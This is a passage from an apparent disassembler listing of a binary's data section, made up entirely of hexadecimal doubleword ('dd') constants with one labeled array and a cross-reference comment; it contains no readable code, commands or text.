		dd 4A917CD8h, 58079BECh, 0C316B252h, 0EFE4225Fh, 8C9F40B2h
		dd 0BD9BDFE1h, 0AD605B0Ah, 7200E22Fh, 14F4E08h,	0BE4A2EEh
		dd 61090408h, 5EF20901h, 465204Ah, 68D90A13h, 40EE4682h
		dd 0A0D5313Ah, 82F50333h, 8D268E04h, 29D1E0ABh,	0D6ED9897h
		dd 305782A4h, 0C0942BA5h, 7109B80Ah, 81BD1D99h,	0D0F748E3h
		dd 0C0830D80h, 7DDE9FFh, 0F506D292h, 1ECF3EBCh,	2416E00Ch
		dd 0A67974h, 0EFBF37B8h, 734167E9h, 2D4C6DDCh, 20D83914h
		dd 27984A71h, 0A116881Dh, 81D1F749h, 62F5F8EAh,	90CA29D4h
		dd 0DEE0723Dh, 783159A5h, 0D3022A4Dh, 5416D207h, 55AAC030h
		dd 0E910785Fh, 0B24B258Ah, 751D1313h, 657C51A3h, 92575B09h
		dd 0E7705DB8h, 81759469h, 0C9236729h, 58EE31D4h, 3D59105Dh
		dd 0B05AE985h, 544E55ECh, 0E0E5FDBCh, 6D1694CAh, 17AC7061h
		dd 3A600669h, 5373317Dh, 9F48EFECh, 7F463E7Ah, 0F930B87Bh
		dd 13AF2467h, 152F5807h, 0EF9B5032h, 124234E0h,	2A0C6998h
		dd 0C1D0431h, 72583C0Eh, 0C07C815Fh, 0DD52C292h, 4FF8DC97h
		dd 0D87E23C9h, 404CF552h, 718E1130h, 2D9630C6h,	0F6D47202h
		dd 51A4192Fh, 25284D20h, 90D62E16h, 0CEE8DD5Ah,	0D5F94108h
		dd 892B972Ch, 0C52D09AEh, 0A5B4579h, 5C1AE9C3h,	0CCBE4082h
		dd 293EA878h, 320998F8h, 1752F51Bh, 0C4698D22h,	3ED1FA2Dh
		dd 0A86C21F6h, 7130B902h, 726A698Bh, 0BE27FB41h, 7EFA2C1Ch
		dd 4B785C5Ah, 1FC44CFCh, 5521DCD2h, 0D1A5BCC5h,	0F8EC0F79h
		dd 0E8534AC5h, 66422789h, 1A07202Eh, 847190B7h,	406826ACh
		dd 4DE9054Bh, 80A52491h, 8357FD25h, 2FDC2C4Ch, 7A6AB003h
		dd 6A2C890Bh, 0D6137CCEh, 76C7E2EBh, 7378170Ch,	58DC9A0Dh
		dd 0FA85044Fh, 18CEAB40h, 570F377Eh, 1AD0601Dh,	1345129h
		dd 85F9ED9h, 60349AAFh,	0B5E5594Dh, 0B342E3F9h,	3CCE7D18h
		dd 50024971h, 0BA3B98B8h, 0E648F510h, 2177DC9h,	0BF2D624Dh
		dd 611C7E80h, 0E5C15EFAh, 0CA20E7B0h, 5FCA98F4h, 160CB99Ah
		dd 96FC19C4h, 5C22680Bh, 367015E6h, 0FCB11AD7h,	0A0C051C8h
		dd 305366CCh, 0D814B1B7h, 0EEFEFE28h, 5E856BEBh, 26D65FBh
		dd 0D9E9F418h, 0BB3A0C5Ch, 5FFDCE3Eh, 79412A85h, 0D2116DD5h
		dd 0A88B2CFEh, 406D985Dh, 7340B3D9h, 58EA3368h,	58CB023h
		dd 0B583DE87h, 100369FFh, 3B8E32E2h, 0F46DE965h, 3A0CB485h
		dd 6203ECC0h, 0E4808026h, 0DCF61807h, 2FC5C4FEh, 0A6BAD6D4h
		dd 43761748h, 3C993E34h, 0C40AA0F8h, 0C2ED8334h, 358159Fh
		dd 773F695h, 5F6C6F5Eh,	492254ABh, 224CE889h, 605303A9h
		dd 0D008FDDh, 75BB3C38h, 90C3C7F2h, 9FD09069h, 0DE1CE791h
		dd 923BE608h, 0D68C116Ch, 0C537053Bh, 0B3D03152h, 5B9583FDh
		dd 0C4B65FB6h, 58080276h, 0E34BBCE9h, 713C05C8h, 531EB312h
		dd 0B573B2FDh, 0C112AACEh, 0A0B06E0h, 8C445197h, 2BD0EBD1h
		dd 79760C7Fh, 0C836F76Ah, 25CCF408h, 9B800DFAh,	14D6BB41h
		dd 680BF2CAh, 9812175Dh, 28A4C376h, 1F072A02h, 5269DC28h
		dd 0D7E1C8FFh, 245BBD39h, 34D08644h, 0E653DC88h, 6EF7F4E3h
		dd 2DA13399h, 0ED8FBD96h, 9BA798Ch, 0A516DBBh, 0F254DE4h
		dd 0BAB50752h, 2CEBE805h, 0DD4FB6BDh, 0A76E908Dh, 0B2E9055Eh
		dd 688D0132h, 74CC906Fh, 2F5DC267h, 0C0A740E0h,	6E273D04h
		dd 619049E9h, 3F806FB3h, 0E31696C3h, 0B0626002h, 0E9165178h
		dd 10E3471Eh, 3758BA80h, 312D5597h, 0F10722D6h,	0CD0F0948h
		dd 68DECE8Fh, 208141D1h, 5C2F6860h, 5BFFD860h, 854D292h
		dd 0C616CF9h, 0DB6C6C7Ah, 0C913860Eh, 0FDF68140h, 27063768h
		dd 0D49BE946h, 2CD81237h, 0FF31126Fh, 5016A32Ah, 1D8F17E9h
		dd 0C4989660h, 0C03AFC15h, 11685655h, 7B16270Ch, 0F709DF65h
		dd 5BA385DEh, 0A72F07A1h, 0E5306F47h, 6A5E1A39h, 0BDF0F813h
		dd 2E225C0h, 5015F2FCh,	41B7C77Fh, 5F92EFF2h, 0E0C04E40h
		dd 61254098h, 13D2A09Eh, 0A2D43446h, 59A741A7h,	0E5942662h
		dd 0E94B94F5h, 2089910Eh, 0AC78C412h, 0A887EB28h, 1729105Ch
		dd 2CF8205Ah, 8C600C06h, 0D0F6079Eh, 80910A2Ch,	26ED86C1h
		dd 0A15E3F11h, 95469F66h, 0E9EDF782h, 8149502Bh, 0E52806FFh
		dd 847A1F1Eh, 8D66A668h, 4A1A2635h, 0D93C2761h,	0B7C2EF05h
		dd 81CB5E7Bh, 0B91F69F1h, 0E4757522h, 8E175BC7h, 1208D0F0h
		dd 615F1696h, 0ACD9F7B0h, 5500C904h, 0E92A741Ch, 0B72F9289h
		dd 66777948h, 0F32525B0h, 9015651h, 710B317h, 899FF587h
		dd 0C599105Bh, 303B16BBh, 0D8C6C145h, 0D0AE047Ah, 2D846898h
		dd 0B520E692h, 200CB01Dh, 0FBF054EDh, 626980BCh, 1E525F80h
		dd 0D6523498h, 0D7601388h, 0CBEA1834h, 956883DAh, 6C83105Ah
		dd 31BE0218h, 0D474F847h, 75923E20h, 4E268867h,	17469E48h
		dd 8F35A344h, 9BAF7E0h,	6F8F58EEh, 71FC02D8h, 96DFC2E1h
		dd 7DEC82C6h, 3425A3BBh, 0A63E0869h, 5E0C9C01h,	65D80D07h
		dd 517003Ah, 0F41660Ah,	0D314C235h, 5BAF26BFh, 6E824F35h
		dd 85D956DBh, 0C1AFEDF3h, 24261DC0h, 8B07EE12h,	29193205h
		dd 8158869h, 40D51C30h,	1882E5F0h, 60524D58h, 0C0417400h
		dd 13C2B310h, 56B90051h, 8109C273h, 211EEB04h, 0BFD2ADB8h
		dd 30F3DC49h, 0F9680306h, 5331575Fh, 343A67CBh,	0B18FAA80h
		dd 0F5765A2Fh, 0F8B0C452h, 1E370EE9h, 0ABA47D4Dh, 48A4D9B7h
		dd 0F6972948h, 5530698Fh, 4D9F5E54h, 22EE1AB3h,	0D0578CC2h
		dd 61088201h, 0D26EBF66h, 91000C85h, 4A5A6851h,	0A824240Fh
		dd 0E77085D2h, 0B0867FA9h, 0CD77EB10h, 39349334h, 0FAF29F18h
		dd 0D634862h, 5E1A4310h, 82B4CFA2h, 29225DCDh, 0B25340D7h
		dd 0B433B593h, 811C0FD1h, 0C935C743h, 2B56D4h, 77B05926h
		dd 278BFD01h, 0F15C5F11h, 2E247D71h, 1DBD1D2Dh,	808992E0h
		dd 4BD5C5D2h, 0E9187D06h, 4995EDE8h, 12F0031h, 0EF68062h
		dd 0A7CB2F73h, 0B97F7B78h, 387C561Eh, 946A7F9Fh, 595DEE1Eh
		dd 0A46755h, 0C5AF008h
		dd 4BD204DCh, 4CCBBC30h, 4FE93823h, 0D5BB7900h,	905A2E10h
		dd 788C0B36h, 0B07C7036h, 0E397A180h, 0B1ECE9D5h, 5E043F38h
		dd 0FB318D1Ch, 0C6E545C7h, 0F64B78ACh, 0FBE34AF2h, 0AD498026h
		dd 5ECBA9D4h, 0B10C458Dh, 54216FB3h, 5A65015Ah,	0AA96E333h
		dd 610AB51Ah, 0D6ACD84Dh, 60C316C7h, 168968C1h,	0AA62D096h
		dd 3DCBFBB7h, 0ACB6F18h, 787D80B9h, 7A36748h, 7440574h
		dd 0FBA38C5Eh, 16280FEEh, 0C5663394h, 584AA972h, 0E9B138BBh
		dd 0C5990EF8h, 7F09B1A0h, 557C296Dh, 68732910h,	0DD43052Ch
		dd 5425362Eh, 314E7960h, 76ED3788h, 4837CE0Ch, 0CF60C5Dh
		dd 42453EE7h, 1D0253AEh, 0C4E92994h, 0A44E7DC0h, 0FBA516B9h
		dd 0B4FD25DFh, 4644A8B9h, 0F77FC05Eh, 693640E6h, 5FB0D14Eh
		dd 0C46C1625h, 0CF120F16h, 0E8893F05h, 31C71049h, 5713E458h
		dd 5B8944A3h, 15CABFF7h, 6EC5B802h, 8B7E3F31h, 1461908h
		dd 0F97277BEh, 2FF6E91Dh, 0CEB2BE4h, 73C16799h,	64EC0A0Ch
		dd 26E91913h, 7D7EBEE1h, 75F8690Dh, 0C2D94B60h,	14774A91h
		dd 0D4FA2946h, 30E90840h, 0C12770F4h, 0ED2E1810h, 9600376Dh
		dd 0E9763328h, 0A4AD4BCFh, 74B9BF4h, 50561B30h,	4FD5F855h
		dd 0E4B3DDBDh, 0C0282136h, 821F9207h, 4E548D3Fh, 32706EDh
		dd 40E53E3h, 4D1593EEh,	0BC8B8034h, 25081EB7h, 2858FE9h
		dd 871F4FBDh, 32E9E0D7h, 2B450444h, 0A65DE94Dh,	1F0F6EDFh
		dd 198F548h, 0C380C6B0h, 6884E977h, 8B4F2686h, 2CFD4914h
		dd 0FA126317h, 42739A41h, 0C26E68EEh, 6B697844h, 5E1C6047h
		dd 56317C1Fh, 3E4B9216h, 0EBC5455h, 2AA27520h, 6853558h
		dd 0E065875Dh, 0BB439D48h, 222D537Fh, 0E9E9C03Bh, 0A8FD4FE2h
		dd 62818EBEh, 838E02BEh, 8284F582h, 35F28A0Ch, 281ED12h
		dd 0CFD45C2Dh, 4BBFF43Eh, 0B462753Dh, 0E59D5596h, 535D1C6Dh
		dd 7C100857h, 592DF82Ch, 18432653h, 0D868531Bh,	368D4E5Bh
		dd 0FB80762Ch, 12E4DE9h, 0A602119Fh, 93D1503Eh,	0FB5DE20Bh
		dd 24C32C80h, 2876DF7Bh, 7546CB0Fh, 1A430CB9h, 0CD08249Bh
		dd 83DA097Bh, 402A9Ah, 0A22E33D9h, 0C202727Fh, 0DF1A3855h
		dd 0F87763E4h, 31E39114h, 0DF2168Dh, 5A4EF690h,	4B4C7B9Fh
		dd 35845Fh, 0AE8F7F4h, 91F80DE6h, 8F4168F3h, 27632550h
		dd 5D5EE547h, 0ECD53F85h, 35C97CAAh, 7F5B3307h,	65F46807h
		dd 125B3DE9h, 0C556BF9Bh, 0B8306E0Bh, 70A3684Fh, 7FF49572h
		dd 0D4C3B574h, 6C66E1E5h, 0C260739Bh, 0C07EE8F6h, 3FF2907Fh
		dd 63860F37h, 8A28E7E9h, 25CE5648h, 0B7E15066h,	0DD722FD9h
		dd 4BF3008h, 0ABFC5AE0h, 0EF0235F1h, 78607F92h,	4E98DBF7h
		dd 40037D0Ah, 0C8009279h, 92B506Fh, 3AE916D8h, 48EAA9E6h
		dd 7DC618A9h, 2DC9BF6Eh, 0F8E08239h, 809554E9h,	0FE32B269h
		dd 86F8BFCAh, 0EA80DD07h, 0E9922820h, 2DAB5888h, 7C894C68h
		dd 0DE9F438h, 6801A19Eh, 275C0BFEh, 541ADA6Fh, 601B1A6Ah
		dd 98D668FCh, 0C10DCE6Eh, 0BD02EEC6h, 4795201Ch, 0E4C136ABh
		dd 808335CAh, 114676D4h, 98D12970h, 81A56915h, 0BC346B88h
		dd 0EA7AF016h, 7F3BB04h, 3D620112h, 0ECB1F901h,	8BB63490h
		dd 0C2F97EEBh, 0FC92DC2Ah, 0C0E3DD41h, 2920715h, 0ADD4E918h
		dd 1DC1E259h, 3B5F1F43h, 2BDC0330h, 60645E79h, 82A40CC0h
		dd 0D3251EF8h, 9244C940h, 0DE9FC846h, 1E6BC676h, 0FF054002h
		dd 0F6E4D8FCh, 0B548B04Ah, 18281A35h, 2D49FA89h, 130503BCh
		dd 0D2425028h, 4E30F0E8h, 1792A658h, 6661E1E0h,	627C054Fh
		dd 0BEF3F78Fh, 3F90F445h, 19845C01h, 44601310h,	537B95F0h
		dd 25275BA0h, 22A166EEh, 0DCC37ECAh, 9B53CE88h,	71DCAAF3h
		dd 0E25A47FDh, 407258E2h, 0E89D5672h, 257CB8D4h, 9770572Dh
		dd 7C906D0h, 58D17D40h,	6BE5D199h, 25CBA05Dh, 2755755h
		dd 15C42D4Dh, 85F7701Dh, 59F0ADADh, 5E430BBFh, 0F5D7D46h
		dd 0C01DA9C6h, 0EFCE319Fh, 422A29EDh, 91A5CCBh,	6AE513E1h
		dd 88C1B984h, 0AB15207Eh, 6A2701DEh, 0AFB98F00h, 636E735Eh
		dd 155680DEh, 4AEEE97Fh, 940A90C5h, 0A57B4D04h,	4C886E59h
		dd 0F229C1B4h, 0B60D687h, 834D9C93h, 6ADA2E28h,	0B4501CDAh
		dd 0C612D8F4h, 26E88D72h, 28FBAA10h, 8B9DB05Bh,	29A87F3Ch
		dd 0B35209E1h, 7692C971h, 3175F021h, 0DD01306Fh, 3BED8502h
		dd 5089F6B3h, 0A254D607h, 91405E6Ah, 3F722D43h,	0F2E40281h
		dd 98510168h, 0E9D08919h, 4E523CFEh, 8FC2D034h,	95F7D032h
		dd 0A71605Eh, 0AA10132Eh, 3243B204h, 9D66678Ch,	2D88E75Ch
		dd 7AB107DDh, 153E3FB3h, 0EB02B666h, 73C479Dh, 0C3D1E155h
		dd 679D0844h, 0B00572F0h, 0E458BFDBh, 890CE927h, 2E9956B8h
		dd 7C30517Ch, 0E3688261h, 0CFE6D462h, 20562A49h, 7F2D8169h
		dd 0EF704674h, 17760BBDh, 4FF83706h, 0F6EF572Dh, 2CA510Eh
		dd 0C4660414h, 0DF19FA13h, 2029B4F4h, 1F1B9710h, 614CE2B2h
		dd 2ECEFD20h, 3DA82606h, 0A203D096h, 52AE4147h,	22DF5C2Eh
		dd 56DC8A93h, 80D1E46Bh, 4A5DED7Ah, 0AC78BA35h,	0AFFB8201h
		dd 132BF8EBh, 0D80EBC13h, 3815FEAh, 0B80343E7h,	0FCB5D158h
		dd 83748F3h, 17C95063h,	5F5349BDh, 7CAFD11h, 35191D61h
		dd 3FD96Bh, 105843E5h, 0D301420Dh, 9014E55h, 42ADDD89h
		dd 804B8A58h, 0B1608314h, 4630D788h, 9438487Fh,	0E911E618h
		dd 0CBA053E2h, 322D4DD5h, 6B5ADE64h, 5600A354h,	0E972E846h
		dd 43DB4B75h, 367C5A6Eh, 5C97E3CEh, 0A6750A1h, 741DE725h
		dd 0F18100C8h, 0EE35C751h, 3A41215Bh, 96F278E1h, 39E2D8FFh
		dd 816A4FA6h, 2F5FA4ABh, 0F645CB45h, 0C7B264AAh, 2C0EA855h
		dd 53E800CBh, 78096B7h,	0E7C04BF7h, 3C7F6E04h, 27F5EF9Ch
		dd 2C2EE02h, 0F7F6B2FFh, 0E92FB91Ch, 54B00FCh, 75E25106h
		dd 7025092Fh, 4172902Ch, 18CB0AB3h, 2666ED8Bh, 3E3E4B76h
		dd 0F71AE627h, 7955C6B2h, 0B0F76969h, 4F98E9D2h, 4E64A9E1h
		dd 0E56F0AF0h, 1C4AA02Eh, 1FF40D13h, 120CA08h, 282AC480h
		dd 2DE2EAE3h, 300E4745h, 8F44CE6h, 0E47426E9h, 7DAC888Dh
		dd 8D302924h, 504E12BFh, 0BC7F6D6h, 117A682Ah, 0E92756F8h
		dd 0EF0F20EDh, 9012C35Ch, 859C5AB6h, 818FEFA0h,	29DACD12h
		dd 37F801BDh, 5A389B20h, 567BCAA7h, 3D592D35h, 0FEE7F70Bh
		dd 2CC2ED94h, 2CBA4A7Ch, 0E75B660Ch, 7E55A147h,	2E438B08h
		dd 7505AD00h, 0E9FCE32Dh, 2C501459h, 80078AC0h,	48B2F1C5h
		dd 51D921C4h
dword_4F0044	dd 0A35F6F5Eh, 31E02053h, 795A4A54h, 88CF028Bh,	0A96EAD07h
					; DATA XREF: ___:004385F4o
		dd 477071CCh, 1CACB834h, 33A58395h, 279FA5Ch, 58D9C633h
		dd 0AFE12233h, 0C0696CEFh, 5C495142h, 0EF904Bh,	18347A28h
		dd 6DE9EB09h, 6898BBB2h, 0DD232D0Fh, 0BC476508h, 0A220D4E5h
		dd 6C031F96h, 0A01F533Dh, 0EE12875Ah, 71C65645h, 63D80924h
		dd 44784EFEh, 800F8F95h, 615669F6h, 26E9164Ch, 0C63EB424h
		dd 655379BDh, 0C3D28251h, 0C0595B00h, 73FAA0E8h, 0D9C2E1F1h
		dd 0DCC8BFh, 1DD3153Dh,	7800F805h, 312D7B84h, 0B599578Eh
		dd 2782CB62h, 87040322h, 0CD015FBCh, 3113F033h,	0F136FCD8h
		dd 0C583DCC4h, 264631B0h, 1DD50A30h, 0EF3A34ABh, 34B65B91h
		dd 0E29843F1h, 0DAE90DB2h, 0CFC82554h, 4933D802h, 44DFF746h
		dd 81CBF48Eh, 0A67397ADh, 6ABD2AF0h, 0C38CD10h,	0F80F5B4Fh
		dd 0DB404CEEh, 74540468h, 0FF594249h, 4AE9BCF4h, 0B6E401D5h
		dd 68F1308Ah, 8C698440h, 0F8C5B019h, 9CA01927h,	290B6338h
		dd 0F268E90Dh, 0ACF602D9h, 2D4A37D3h, 0E9532275h, 84CB4AA1h
		dd 0D987C7B6h, 0ED1DD2EEh, 0D90A201Bh, 4570420Eh, 3C8B2AFDh
		dd 82B671E2h, 5A9940DFh, 4DF24880h, 0EBFA6712h,	5FB43E32h
		dd 12E9160Eh, 0A176F609h, 77C4F683h, 0EE60E7F4h, 124238B9h
		dd 0C0F109C9h, 3A66DE93h, 3D020DB6h, 0E1071330h, 0BCD8251Bh
		dd 3942976Eh, 0EBF19005h, 9B14CC5h, 5850B83Ah, 7A053418h
		dd 45918C1h, 0B8D88D30h, 0F23827B2h, 5FD9D03Bh,	0DEEF64ACh
		dd 43A85B4Ah, 0D60F98B6h, 8076D14Dh, 62488EE2h,	4B58B772h
		dd 72BC645Bh, 915ACA3Fh, 27CFBC7h, 0BCB59BAh, 2965DDF2h
		dd 88FDD127h, 5417EEF5h, 35EA0F74h, 3EF401ADh, 6035DE5Ch
		dd 7714F73Bh, 5AE969FBh, 86034A13h, 0A9DFF694h,	0C3F550CFh
		dd 568072Bh, 0DFEA97C4h, 926A7149h, 30F7E7C2h, 2DE9F382h
		dd 0C1B8A996h, 3CDD315Ch, 0BD039B10h, 2AA32FF7h, 5CA0FBE4h
		dd 48F3F270h, 0C009DD0Fh, 10827F78h, 885CF5BBh,	0A62415ACh
		dd 12EEA80Eh, 68BC38F8h, 70361F38h, 0E95063B6h,	0C161DEE0h
		dd 0CA354AC1h, 6613C752h, 46BBEBCBh, 264C6FA3h,	5808B32Dh
		dd 7FC3320Eh, 9DA3B8BAh, 0E3C01CEAh, 0A39D0119h, 94733B63h
		dd 4AE0DBE0h, 50D2B7C1h, 5A249E4Fh, 0B608843Dh,	585F0599h
		dd 0AAEC648h, 0E4B0F74Bh, 0DA280FE3h, 3CE4257Dh, 0FDF5C220h
		dd 7B2D95DEh, 0DEEF01A4h, 700B627Eh, 9C043AC4h,	0F9899911h
		dd 0C4F798AEh, 9E8E24Bh, 0DEBDC2E4h, 1E1F5C0Bh,	21683231h
		dd 0D262E35Dh, 0AD20D3F0h, 7D2555F3h, 0E755C409h, 0A4512D97h
		dd 41FB690Ch, 2C7E04EDh, 0FB5E3309h, 0AC55848Ch, 94E91220h
		dd 2E3926FCh, 378EEB1Fh, 0C35E23DEh, 64085139h,	0DB24097Ch
		dd 6272D15Fh, 2CDA229Eh, 0C230DDD0h, 0B080E0FAh, 0C8FE24F2h
		dd 0C4D91305h, 0CFCBBBD5h, 4A7F2D11h, 64261EBEh, 0BB9EA755h
		dd 5C536E8Eh, 84BF7F4Fh, 0C6BC5E11h, 0C462E9F2h, 6E8886F4h
		dd 0EA52126Dh, 0A5059DCAh, 8108F95Ah, 73B37A29h, 0B2AE657Fh
		dd 1204AEA9h, 0A44A7A21h, 0CC0BC7DFh, 461504h, 44616863h
		dd 918C120h, 21ADC55Ah,	9B23F30h, 5821E1C0h, 0E9276867h
		dd 0BB9DC0BCh, 0C43A05FFh, 0C1EBC125h, 465612Eh, 7C3BC381h
		dd 6E853DBFh, 0C20FB456h, 1477D46Bh, 0E0A8358Dh, 40E2AB16h
		dd 7830EBD3h, 0E5163905h, 9C034570h, 20680502h,	0D4D1840Ah
		dd 0E0C5EA69h, 0A45C04BAh, 8974ADA1h, 859CDF01h, 0B17B6630h
		dd 90E49EBh, 0D9013410h, 5748A446h, 76F910A4h, 4BCA0500h
		dd 0F0011E4Dh, 65DC5650h, 775BE740h, 9D40F983h,	4CFD1658h
		dd 7A0FE31Ch, 891FF01Dh, 7FE8636Bh, 0D52F5641h,	443F064Bh
		dd 1497800Fh, 4056BE01h, 17D855FCh, 893CFB9Fh, 0A87863E9h
		dd 41362DF3h, 0FCC907A1h, 595ACDF7h, 0AAF594ECh, 0F61631B2h
		dd 0B067FBD4h, 14BC07A7h, 7BEC2568h, 10E2FF98h,	4B74932Ch
		dd 79633000h, 284BB45h,	291FDDE5h, 505D5DEBh, 1B7F59CFh
		dd 41C2C07h, 0A2ED94DAh, 0E0AE19D5h, 0B1F5EB71h, 0D21C062Bh
		dd 0AA45993Ch, 0E055EC3Eh, 94010C68h, 0A804DA25h, 81D10B17h
		dd 624D68F5h, 0D7C0BD6Ch, 8B0EB514h, 2A92FF1h, 0C34A9EA1h
		dd 7CE3BB84h, 8A00EAD7h, 4B8B31F4h, 0BF06935h, 0DBB554F0h
		dd 77153BE7h, 4F4828DAh, 664BCD20h, 0F13F6B8h, 68344187h
		dd 2FF43B4Fh, 4604B9B8h, 0AB7F1870h, 0BD9E38B4h, 58984FC4h
		dd 0D535F35Eh, 50D704FEh, 0D5582268h, 827A2748h, 95DAC697h
		dd 51979769h, 0DDC289C6h, 0C56B1Ah, 0EE8375FAh,	0D58A5481h
		dd 0AA50500h, 751E9D2Dh, 0E9138A3Ch, 13F8D247h,	0F936F781h
		dd 15676C01h, 0DF4223h,	0C28805B0h, 2CCAFE58h, 7D7D2F6h
		dd 0CB09E947h, 0BDF09D44h, 0F4010E2Dh, 0ADE953F6h, 0D159F61Ch
		dd 6EB40309h, 0E76839CBh, 5B7E34Ah, 34B09FB2h, 0CB932584h
		dd 0A0404EF7h, 0C640B83Dh, 9357158h, 5965C210h,	0D75A73D8h
		dd 0AF4F7FE8h, 8445936Dh, 0ABD616EAh, 0FEC115DCh, 350C60C7h
		dd 50062EEEh, 0DF00484Bh, 1198ADF6h, 49F5A1E1h,	53E5B783h
		dd 3587EABBh, 0C4EEA859h, 3083E3C1h, 0F60194D6h, 3FE6C0DEh
		dd 3FEA8DF0h, 0CE92F528h, 0FF8B347Eh, 0F50744E6h, 0F12A3F01h
		dd 93C5E9CBh, 0F9A85CBBh, 1C908B4Fh, 824CD991h,	547E7801h
		dd 725984Bh, 101176F1h,	0D4DDC556h, 48ACB6CEh, 0AD853594h
		dd 94A5C081h, 0C012EA04h, 912E30CDh, 0FE0C8F41h, 52DFE910h
		dd 5E179F0Ah, 0B29B4BD0h, 0D5917A0h, 0F143055h,	82940511h
		dd 6403FCE9h, 0A46BEC4Dh, 42BE00DAh, 5B5A4847h,	18488C68h
		dd 8201D215h, 71B8278Eh, 2D1F8DC8h, 2B55AEFBh, 0F93E52AAh
		dd 0B80E006Ah, 2EF404A9h, 35834097h, 0E40B059Bh, 0D16DE978h
		dd 3B315EDDh, 0A4167FFDh, 0E7BD40D0h, 8130AF33h, 0F9EAF33Fh
		dd 0DF4829ECh, 18B802EEh, 0F742FF6Eh, 38A7CDE9h, 0BB987271h
		dd 35BC3FFAh, 0F884106Fh, 295802D1h, 4A30D9DAh,	25E61AA2h
		dd 0B1512640h, 0CF7D88E0h, 0BE0B285Ah, 225DAABh, 0EAF6B4F7h
		dd 9C7D0127h, 0A1E912E1h, 0E00753C9h, 81054A80h, 0EFB9CAF2h
		dd 575AD690h, 38982F68h, 251EE218h, 0FE2F062Dh,	28E9D046h
		dd 0B9ED03BDh, 2A7DB0A3h, 28C85E01h, 0FF092D75h, 5EABAA2Bh
		dd 4028580Eh, 7AC0782h,	317BB370h, 0E97BC3C3h, 0C32DB939h
		dd 0EF2C7457h, 0BBF95DE5h, 402863CCh, 0C6B35BE4h, 5CD56842h
		dd 0E0948B0Fh, 892647Ch, 0B9AE40FEh, 40748245h,	0CFF12D0Ch
		dd 98C7709Ah, 3B226585h, 0BFD34013h, 1B6C6A83h,	90BA68FEh
		dd 84CFE994h, 37BFCD9Fh, 6A50923Bh, 6FD6406Ah, 92201907h
		dd 640F5875h, 23971635h, 1120D71h, 2613A67Bh, 8AA1DDD3h
		dd 0FD5417BDh, 0F283F437h, 5E102764h, 2D9A9766h, 0C9B5449h
		dd 415F1668h, 0B8BB67Fh, 10D7CF08h, 95F636DDh, 77274853h
		dd 1AB67930h, 25298720h, 246119E9h, 98F13B31h, 0C5AAB07Ah
		dd 0DFB3FF1Ch, 855B554Fh, 0C7E8A768h, 5EE10ED4h, 40F62BC5h
		dd 4DDC6810h, 0E1D832DCh, 0AF455F5Ch, 0C5F25692h, 5E1412D0h
		dd 9729CE53h, 24C12591h, 32E69B30h, 0E90D3E06h,	598FF0DBh
		dd 3B22E2A6h, 3CD4BC5h,	44B955C4h, 0F12EA77h, 0E80410CFh
		dd 2AD0A022h, 7AE8266Ah, 0FE863407h, 0FBC3D450h, 6093E9E2h
		dd 21F5BB0Bh, 433A7B25h, 0F2EB9B2Eh, 0C08E414Bh, 34D03101h
		dd 4A1FF4ECh, 0ACBC430Ah, 0FC2DB12h, 83DA569Ah,	5049186Eh
		dd 915B59B1h, 6760180h
		dd 5140B6F1h, 0FF0A0C1Ch, 96302612h, 711A9E09h,	0AD68278Ch
		dd 3A979446h, 0BB646097h, 209F261h, 0EEFC981h, 7CD61037h
		dd 3991E101h, 366861ADh, 4A6A7D06h, 620F707Bh, 65CA338Bh
		dd 9DAF9C0Eh, 9FE92A34h, 6C595CB2h, 3EE5DF49h, 5510B92Ch
		dd 6F28BD02h, 0B2417F3Fh, 0ECCA3F98h, 614FBB12h, 81A8E1A9h
		dd 661CC127h, 0CA760E5h, 29278AEBh, 0E01F8B58h,	0E590F0Ah
		dd 0C5BB7352h, 31A199AEh, 0BFF6E9EBh, 3C845E69h, 0FC639DABh
		dd 8B8758Eh, 72C5EF82h,	0A60E985h, 0AC0B33ADh, 0A25F4C49h
		dd 81F8297Eh, 7C6D28F5h, 56A9802Bh, 7B4F0F72h, 0A750A7A8h
		dd 28FE40D3h, 0B04C81Eh, 0C9CD7449h, 49C8EDA4h,	7E01E4C1h
		dd 1E842EDDh, 858252E7h, 86FCA05Eh, 0E1545362h,	0A22AD0CEh
		dd 598085D1h, 602E2A9h,	4F3DC52Dh, 968C105Dh, 710C0953h
		dd 8B42C4E9h, 0B85F33FFh, 0EB56ECF5h, 12613578h, 7A6E3BE5h
		dd 0BDD3B2F7h, 64B80E1Bh, 0F75E937Ah, 3D24012h,	5626CAF5h
		dd 224A0351h, 0D1E3777Bh, 0E3058B8Eh, 64FA6DD3h, 0A5BCC0EBh
		dd 0E91A3040h, 5D3AD7E8h, 87BCDCBh, 0AFB71AECh,	4A41E214h
		dd 0C5E08070h, 95B6F703h, 415A44D6h, 45229C72h,	17B886C4h
		dd 821622A8h, 0ECAE409Fh, 5D7F1C28h, 67CCB5h, 6C924F63h
		dd 0D2522C05h, 0B7E9320Bh, 0A7A45319h, 0D30B575Bh, 421FDECFh
		dd 0D7F43AB6h, 7F6007C7h, 4E203334h, 0F4C1ECC6h, 2C633F82h
		dd 0A2A9FF59h, 0C892FB89h, 8586677Fh, 0B83F6368h, 1331C45Bh
		dd 0F056AD07h, 7D8647A1h, 8F8BE9BEh, 85595306h,	8C026C68h
		dd 900FB82Dh, 0B70B986Ah, 9E335A17h, 0A11B4894h, 4CAAEE81h
		dd 0D4C06B68h, 3B943AE4h, 257A0170h, 0E461613h,	6CD80F82h
		dd 6F16815h, 25BF285Dh,	777EE2BDh, 73CFEF60h, 5C5D5325h
		dd 6FC70543h, 0AB12C15Ch, 60B10272h, 0E66CEB7h,	80D6F659h
		dd 835B12D2h, 0F6342899h, 16C6FD8Ah, 485F73FCh,	59E325CAh
		dd 0C78F4085h, 2FE8FF92h, 0EED18FC0h, 0C71790E9h, 55BF82Dh
		dd 5AD703D0h, 0ACF9A60Ch, 0ADBC3ED7h, 1340CCC9h, 0C2EE5650h
		dd 7D6F62B7h, 0FE4BEF5Bh, 0BE742F7Bh, 7F534CC2h, 8782DEA9h
		dd 0DCA31D25h, 0BB185080h, 0FA5D8D79h, 2D5B795Fh, 20202D29h
		dd 3B304184h, 4EADB79Bh, 6E9176Bh, 0FEBD34F8h, 37F9C846h
		dd 15503871h, 8F64FF4Ah, 24CBA212h, 0D712F95Bh,	587EB4A0h
		dd 55CF80EAh, 0D3DBCB24h, 2DB9CE07h, 2E3DDEh, 63017833h
		dd 0B5EDD15Dh, 0E9184BF0h, 0CD87C818h, 5E89759h, 39267E32h
		dd 0A6408D49h, 25462D3Ch, 19F96C01h, 99B60CA0h,	0FCBFE9C2h
		dd 0EF52435h, 60F20768h, 0DE647389h, 1126D58h, 3F943205h
